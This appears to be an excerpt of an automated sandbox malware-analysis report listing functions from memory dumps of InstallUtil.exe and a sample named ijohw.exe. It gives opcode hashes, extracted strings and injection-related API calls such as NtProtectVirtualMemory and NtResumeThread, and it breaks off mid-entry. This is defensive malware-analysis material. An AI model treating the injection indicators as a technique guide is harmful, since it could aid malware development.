Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b83b6695f08ce1f41094a6d20c54dd9009813b6153d4143a82a5116031ac7b0
Instruction ID: 8ca5a810fbbd8398ea5acae70f7ebcae493e4453a0500b20ac911cf4f8cf72e1
Opcode Fuzzy Hash: 0b83b6695f08ce1f41094a6d20c54dd9009813b6153d4143a82a5116031ac7b0
Instruction Fuzzy Hash: 4551D0300A16479FD310BB62E9ACA7E7BA5FF5F337B106D04E10E96469DB785846CA20

Function 00CCCEE8 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad259f91ce20aff0148b88cea6b7f11e0a136c67e167231b93fa34dea2f17472
Instruction ID: 3d56e5775c5c474778daac1c8c365de68fa299f0ef5ebe1a5be39752cef9e5a5
Opcode Fuzzy Hash: ad259f91ce20aff0148b88cea6b7f11e0a136c67e167231b93fa34dea2f17472
Instruction Fuzzy Hash: 2151AF300A1747DFD250BB62E9ACA3EBBA5FF4F337B146D04E10E95469DB785845CA20

Function 00CC991D Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 132b9b58f5c462cecbf58f9a04a2713dd70379b4fbb854dc6b513d51775f6dce
Instruction ID: 35d67ebd84c855bb8a728fc240e17067f65a60d53cf925559e8fe35187cfd58a
Opcode Fuzzy Hash: 132b9b58f5c462cecbf58f9a04a2713dd70379b4fbb854dc6b513d51775f6dce
Instruction Fuzzy Hash: CC513575E00259DFCF05CFA5C848ADDBFB2FF88310F10812AE816AB264EB749A55DB50

Function 00CCCD20 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bbaf4c8e5a7630551af5e8ba7572ad1ccdba8b5e55f25ed154eb71664afe20
Instruction ID: 8a9919442176437c327f5c74084f8c5c03d4b19359e2f7cb730e25efce69db10
Opcode Fuzzy Hash: 24bbaf4c8e5a7630551af5e8ba7572ad1ccdba8b5e55f25ed154eb71664afe20
Instruction Fuzzy Hash: 35519574E012089FDB48DFA9D984ADDBBF2FF89300F248069E419AB365DB31A905CF50

Function 00CC3908 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738102c51fc2eca28d3c31e1a4380e82c6a27b5cebfb779fa9b1d2b888f92135
Instruction ID: 8274f4416795db8975555f7b5f7eaac8c80a0c4842d58823e638c24c1b4183a0
Opcode Fuzzy Hash: 738102c51fc2eca28d3c31e1a4380e82c6a27b5cebfb779fa9b1d2b888f92135
Instruction Fuzzy Hash: 4751A374E01248CFCB48DFA9D99499DBBF2FF89310B208469E805AB368DB35AD45CF50

Function 00CC6748 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0519876d0d2b5ddf86397cfb2ceb10120bced1efaeeb93660c9fed5239150b19
Instruction ID: 2c9d1df8517f9201d47d0a5367e94287fc4d28f576d70afe0e7062eb9c63138a
Opcode Fuzzy Hash: 0519876d0d2b5ddf86397cfb2ceb10120bced1efaeeb93660c9fed5239150b19
Instruction Fuzzy Hash: F641CF30A00208DFDB10DF64C904FAABBF6EB84314F14886EE9259B291DB74DE45CBA0

Function 00CC4DD0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adc394436ee9d7c56a86af034a7af9883d58f630ed1e5e18123ca01cae17f2e3
Instruction ID: 12b92ed8fa63f9d60b28af2dfecd43212dac24e2a49049717352bd0f374d1dbe
Opcode Fuzzy Hash: adc394436ee9d7c56a86af034a7af9883d58f630ed1e5e18123ca01cae17f2e3
Instruction Fuzzy Hash: 2B319071204109AFDF099FA5D854AAF7BA2FF88321F10802CF9158B355CB38DE61DBA0

Function 00CCA828 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24892c9ccad18843c4ccfba952f797d9c1e76993a88653a36d39a3bf3e73cec5
Instruction ID: 34e206306735d80b878b2022e20ed482f12d26332629842ce260e1ad86009f89
Opcode Fuzzy Hash: 24892c9ccad18843c4ccfba952f797d9c1e76993a88653a36d39a3bf3e73cec5
Instruction Fuzzy Hash: EB31A170A006098FCB04DF69C889AAEBBF2FF89324B158159E515DB3B1CB349D42CB91

Function 00CC76F8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99fbcfa6646496a0b3d7b282c3eb32f8e48b3c5c20c8b41aa655694b49266a36
Instruction ID: c26a46ac27a3c20e686e44c5e31ab21df15b58ded254c7aee62f3715f3a9eeba
Opcode Fuzzy Hash: 99fbcfa6646496a0b3d7b282c3eb32f8e48b3c5c20c8b41aa655694b49266a36
Instruction Fuzzy Hash: 212107343081094BEB165726C554B3E369BDFD4755F34413CD422CB3A8EE69CC82DB80

Function 00CC2060 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde1b886aa66beac4c4fcc3baaf0821f877b740f099547bf8ea17fa17b2acf85
Instruction ID: da7c529f311d3a7f07b90b0ac0a87adf1be94c1221dc177de1a2eb1562561a31
Opcode Fuzzy Hash: fde1b886aa66beac4c4fcc3baaf0821f877b740f099547bf8ea17fa17b2acf85
Instruction Fuzzy Hash: 1A21B035A00205AFCB15EB34C540EAE77A6EB98760B10C41ED95A8B258DA31EE82CBD1

Function 00CC5A78 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d310a7328d51a515830cea353c1503aecef61fd78e9bf7f1f022430deaa496e9
Instruction ID: 0c9d677a886ca299b8ab2c0921a25c30d2db037fa7488c8bc865ef55c202813e
Opcode Fuzzy Hash: d310a7328d51a515830cea353c1503aecef61fd78e9bf7f1f022430deaa496e9
Instruction Fuzzy Hash: D221F030700A119BD7189A6AC494A3EB792FF88B61B15427DE816CB358CF34EC42CBC0

Function 00CC215C Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 869ccf477eab015acafd46347608a1638f28b0b5fe2e8a21da67d3d5ccc78f5c
Instruction ID: 3c3916b367967dcf30aa7e739e38964e405f2d8ad25059af10e19a0c1e010e8b
Opcode Fuzzy Hash: 869ccf477eab015acafd46347608a1638f28b0b5fe2e8a21da67d3d5ccc78f5c
Instruction Fuzzy Hash: 2E115E76E043599FCB029BB8EC009DEB731FF893207258796D526B7061F9311D06C791

Function 00CCD139 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a4e4c865554ab686052a662eb487eb0a8237eb13474c27131830542d6fb1e65
Instruction ID: 1391dcfd543b1d845cd45724e74a508b30374d8b166e0f01532d7d049b9992b3
Opcode Fuzzy Hash: 0a4e4c865554ab686052a662eb487eb0a8237eb13474c27131830542d6fb1e65
Instruction Fuzzy Hash: 2821E231C116198ECF10EFE8D944AECBBB0FF4A311F109629E51577254EB70AA89CB81

Function 00CC39ED Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9dc8d65acf08a680741279c67a920c897676159b5e2d5deedf240f741c9ff0c
Instruction ID: 8ec7d7ec74190354532888a8389941172cf74cba9a3435a206b09ae369fe2960
Opcode Fuzzy Hash: a9dc8d65acf08a680741279c67a920c897676159b5e2d5deedf240f741c9ff0c
Instruction Fuzzy Hash: DE31A278E15249DFCB44EFA8E59489DBBF6FF49301B208469E809AB328D735AD05DF40

Function 00CCD238 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eda053a4fd096bbe94b988dfcd75a4b844b3e2f0030d4318ef4dd804bd39d59
Instruction ID: 04b98d6ad9e85d9f0351c3c5301b9f3f990c57818d4ea6ffe9a300d4c9e7ef8b
Opcode Fuzzy Hash: 4eda053a4fd096bbe94b988dfcd75a4b844b3e2f0030d4318ef4dd804bd39d59
Instruction Fuzzy Hash: A721E774A05208CFDF08DBB5D850AEEB7B2FF8A311F20A429D41577364DB39A941CE65

Function 00CC1EF8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c29909a591182e553caaf248821844ce4ab5cdfacc21685732f674b73b673ea
Instruction ID: c3f4640cbec347b7a2f092075f813e5926b3b5baa9825cb08cb80ebbc36611f5
Opcode Fuzzy Hash: 5c29909a591182e553caaf248821844ce4ab5cdfacc21685732f674b73b673ea
Instruction Fuzzy Hash: 5E2127B4C0460A8FCB41EFA9D8545EEBFF0FF19311F10516AD804B7265EB345A45CBA1

Function 00CC1F61 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c4e6019cc3d02e89b8256ea981feb5cd164d3c26acc9c8e90b65c37b372eb9
Instruction ID: 64fc1e8e82aa5edaed8503752f2c18fa3104b3148ae5c35efe678a7f038ff8ca
Opcode Fuzzy Hash: e6c4e6019cc3d02e89b8256ea981feb5cd164d3c26acc9c8e90b65c37b372eb9
Instruction Fuzzy Hash: 4721CFB8D0460A8FCB40EFA9D9456EEBFF0FF19311F10516AD819B3215EB345A45CBA1

Function 00CC560F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ff9252a49bfd93c0ef98eae4da256bb80346a52beb40fd7cf072accde7afaa
Instruction ID: 07a744be3f32f1ae1e264ae159107d776bd39f1ed6138bba84afdc448ae474f7
Opcode Fuzzy Hash: 32ff9252a49bfd93c0ef98eae4da256bb80346a52beb40fd7cf072accde7afaa
Instruction Fuzzy Hash: 6501F572B04114AFDB05CE65D804BAF3BE7DBC8762B28807AF915CB294DA75DD029B90

Function 00CC1F6B Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86163146d8f5138726516d055974b82b324c3f21f0f2ce6d2ed9294b42bcee75
Instruction ID: b5cc996061d66d44e50a56996e56b99ff042c271cc0a9654aad00972bad3e0fa
Opcode Fuzzy Hash: 86163146d8f5138726516d055974b82b324c3f21f0f2ce6d2ed9294b42bcee75
Instruction Fuzzy Hash: 5D11BDB8D0060A8FCB40EFA9D9496EEBFF0FB19311F10516AD809B3214EB345A45CBA1

Function 00CC2010 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf7de1fdfb7ca4623d7df85873e669b4d05e352d29fcae8c95aba3898156db0
Instruction ID: 8a0b705e7918bfa7a4ed8e3297dda3ce4ad76309133eef26ec6f1f23a30c6ba0
Opcode Fuzzy Hash: ebf7de1fdfb7ca4623d7df85873e669b4d05e352d29fcae8c95aba3898156db0
Instruction Fuzzy Hash: 05E02632C2032663CB00BBE0DC044EEBB34EE92230B04472BD130370A0FF70128AC2A1

Function 00CC201B Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5173902a34f1b94fde967266fea725a71fec5d43ea58a0a61972d5d82a3f0e
Instruction ID: dca7c33a5a376bc63cf653067a0193db591031df116a174c10e3c1d5289511e5
Opcode Fuzzy Hash: 7c5173902a34f1b94fde967266fea725a71fec5d43ea58a0a61972d5d82a3f0e
Instruction Fuzzy Hash: 0DE0C232D2022A47CB00EBA0E8404DEB734EE92220B414222D5243B100EB70179AC7E0

Function 00CC2020 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf05d6bebee773b30136039481742edd434dbecc59ed0b9945d0d71e0cf73a57
Instruction ID: f4ad74a97bf9ab54e41a911c88b5c0185c5ebc42f9a76bdc277d2c17e74f6bbf
Opcode Fuzzy Hash: bf05d6bebee773b30136039481742edd434dbecc59ed0b9945d0d71e0cf73a57
Instruction Fuzzy Hash: 69D02B31D2022B43CB00E7A1DC004DFF738EEC2220B404223D51037000FB302698C2E0

Function 00CCA71D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdab25a0b091ec57a765915e70a8cdde27b3717b99cd156056db8e04cc34a017
Instruction ID: 2dc2cc19a2c1aa82bdb1c0ade8e88cfad77385d498bc888c94d236bb08313414
Opcode Fuzzy Hash: fdab25a0b091ec57a765915e70a8cdde27b3717b99cd156056db8e04cc34a017
Instruction Fuzzy Hash: 8FD0677AB41018DFCB04DF99EC408DDB7B6FB9C222B148126E915A3265C6319921DB54

Function 00CC5EB0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c53f534dc59cc59f02b58995023ec6efae00f783df60a7ca42ac97f854763de
Instruction ID: 61dbba61822bae5b64f58fd1deaa6bde016e0a65e9f28d676e8a82881a8ffb01
Opcode Fuzzy Hash: 6c53f534dc59cc59f02b58995023ec6efae00f783df60a7ca42ac97f854763de
Instruction Fuzzy Hash: 6AD017B0A4C38A0FD202F775EA154297B66AA80608F8441B5A8044926AEABC694D87A2

Function 00CC5EC0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41dd51a8daa84e624c3d4c1306a72a595f3b33c9c2cb2eb4e838cb0f4239005d
Instruction ID: 60e0850de33b95d2da541a0bdb0b903ea73bc9fa944f2f044bb2cb7490cef094
Opcode Fuzzy Hash: 41dd51a8daa84e624c3d4c1306a72a595f3b33c9c2cb2eb4e838cb0f4239005d
Instruction Fuzzy Hash: 6AC012B054C3094FC501F7B5EA45519775AE7C0704F444570B0090D22DEF7C598C46D0

Non-executed Functions

Function 00CC60A0 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;kq, xrefs: 00CC60DE
\;kq, xrefs: 00CC60B6
\;kq, xrefs: 00CC60D2
\;kq, xrefs: 00CC60AC

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \;kq$\;kq$\;kq$\;kq
API String ID: 0-2874455797
Opcode ID: ca96b1735c6167d59521cb4b5ce916973f92891c00bf2a46335031e65e2cc2f4
Instruction ID: 8192971015a7a7a77160d6149333de914214d21e649cc462a95ed08ec656aa29
Opcode Fuzzy Hash: ca96b1735c6167d59521cb4b5ce916973f92891c00bf2a46335031e65e2cc2f4
Instruction Fuzzy Hash: 3101DF31740114CFC7208E2DC750E2A77EAAF9876033A816EE511DB3B4DE32DC418785

Analysis Process: ijohw.exePID: 3120, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	14.8%
Dynamic/Decrypted Code Coverage:	99.3%
Signature Coverage:	0%
Total number of Nodes:	455
Total number of Limit Nodes:	13

Executed Functions

Function 05E3C1F0 Relevance: 14.9, Strings: 11, Instructions: 1142COMMON

Download Yara Rule

Strings

$kq, xrefs: 05E3C6F7
$kq, xrefs: 05E3C483
$kq, xrefs: 05E3C647
$kq, xrefs: 05E3CB2A
$kq, xrefs: 05E3C707
,oq, xrefs: 05E3CCBA
$kq, xrefs: 05E3CB3A
$kq, xrefs: 05E3C493
$kq, xrefs: 05E3CAD1
$kq, xrefs: 05E3CAE1
$kq, xrefs: 05E3C657

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: ,oq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-3963176596
Opcode ID: 5bedaf4c97211c76a1eff194b2a0da7947962337fe4af924970d9b061f8b6ccf
Instruction ID: 0890cc5fb6df20c8b6752b32f75fad3da89c032a3c35fbdbada2722ae79487d0
Opcode Fuzzy Hash: 5bedaf4c97211c76a1eff194b2a0da7947962337fe4af924970d9b061f8b6ccf
Instruction Fuzzy Hash: 95B22B34A00218CFDB14DFA4C989BADB7B6BF48704F258599E54AAB3A5DB70DC81CF50

Function 05E3C527 Relevance: 6.7, Strings: 5, Instructions: 495COMMON

Download Yara Rule

Strings

$kq, xrefs: 05E3C647
$kq, xrefs: 05E3C6F7
$kq, xrefs: 05E3CB2A
,oq, xrefs: 05E3CCBA
$kq, xrefs: 05E3CAD1

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: ,oq$$kq$$kq$$kq$$kq
API String ID: 0-3651797069
Opcode ID: ef7e7111d58b39f38fe373b1c77a2a27e9de08312b21552dccc3b1dc6f0959cf
Instruction ID: 5f0962fce09f155a6651adcdade643584e4d013ac358467ee30bafb3e3bd5aa1
Opcode Fuzzy Hash: ef7e7111d58b39f38fe373b1c77a2a27e9de08312b21552dccc3b1dc6f0959cf
Instruction Fuzzy Hash: D8221B74A00214CFEB24DFA4C989BADB7B6BF48704F1491A9E549AB3A5DB30DD81CF50

Function 05CC0040 Relevance: 2.3, Strings: 1, Instructions: 1081COMMON

Download Yara Rule

Strings

2, xrefs: 05CC0B80

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: b819d4b7df421a78d7c386f4869692b90360bd80ace6e4e5715ab9f34ba3d014
Instruction ID: 345033dcfb1c5622fb7f7243433e9da71d9a4e9ee87f40a9eb038aaf4a9a7b5e
Opcode Fuzzy Hash: b819d4b7df421a78d7c386f4869692b90360bd80ace6e4e5715ab9f34ba3d014
Instruction Fuzzy Hash: 6FC2ADB4E042288FCB65DF69C984B9DBBF6BB89300F1485E9D509AB355DB309E85CF40

Function 05CFFE98 Relevance: 1.6, APIs: 1, Instructions: 108nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CFFF55

Memory Dump Source

Source File: 00000003.00000002.2052325654.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_ijohw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 49245b4c92209cd3722726c20e3439e0843fb1656ec358cc56fc5d4fcf16d8ff
Instruction ID: aa8a2819937c6a1b524254bc72a5f6b08743dd6743d5cfc3e3f144d88f925c83
Opcode Fuzzy Hash: 49245b4c92209cd3722726c20e3439e0843fb1656ec358cc56fc5d4fcf16d8ff
Instruction Fuzzy Hash: 294198B9D04258DFCF10CFAAD980ADEFBB1BB49310F10942AE819B7210D735A945CF58

Function 05CFFEA0 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CFFF55

Memory Dump Source

Source File: 00000003.00000002.2052325654.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_ijohw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9ea653e5e7badd5499ec6f5de9de310fa9651c3d9e7e09f0fd7ae0bdac7f406e
Instruction ID: 34af030fe6c3e6f3446d7ef5e4fc3eaaf5a2a9328b8b8c4594a41ec792a9245e
Opcode Fuzzy Hash: 9ea653e5e7badd5499ec6f5de9de310fa9651c3d9e7e09f0fd7ae0bdac7f406e
Instruction Fuzzy Hash: 204188B9D042589FCF10CFAAD984ADEFBB5BB49310F10942AE819B7210D735A945CF58

Function 05DE1131 Relevance: 1.6, APIs: 1, Instructions: 84nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05DE11C6

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a6941a2f0d9690f633958df8e3c85d47a1f75450dccfb94a0deb80cb0c36276a
Instruction ID: 3470acf637aa276f8154a4d5e5faf87226290e05b4174212562ef256ec0b4154
Opcode Fuzzy Hash: a6941a2f0d9690f633958df8e3c85d47a1f75450dccfb94a0deb80cb0c36276a
Instruction Fuzzy Hash: 5931B7B5E01218DFCB10DFAAD984ADEFBF5BB49320F20942AE805B7200C734A945CF94

Function 05DE1138 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05DE11C6

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 858c51c2b2de32eb56837c603b88dbc538f2f1e824e2d71e560cefdc064eae6a
Instruction ID: 8296452c5ea86909d0beb96b7b5b8c95f84505d94a2b1f28c3b91b135179beb1
Opcode Fuzzy Hash: 858c51c2b2de32eb56837c603b88dbc538f2f1e824e2d71e560cefdc064eae6a
Instruction Fuzzy Hash: E031A8B4E012589FCB10DFAAD984ADEFBF5BB49320F20942AE815B7210C735A945CF94

Function 05CCBCE0 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

Tekq, xrefs: 05CCBE0B

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 74dfd7b0012dd71c598259f146405c7a1b9c3414a0e4036d37c5090ecf4bece8
Instruction ID: 97f20b4ff98abc1b382d2ec5ed1433763f4269e3ced10cdc383c0a51ba413cb7
Opcode Fuzzy Hash: 74dfd7b0012dd71c598259f146405c7a1b9c3414a0e4036d37c5090ecf4bece8
Instruction Fuzzy Hash: DBA13374D04218CFDB14CFAAD585BAEBBF2BB49308F5098AAD409AB255DB745D85CF00

Function 05CCBCD0 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

Tekq, xrefs: 05CCBE0B

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 1145ac9640447cbfc126089e8811ce4f8a6a13a6644bc3932afb4daef40da4d3
Instruction ID: 741cd07e16f8f688adcd1be5a407d67c2ed1dbceffeb9ff129ca2df59b86374b
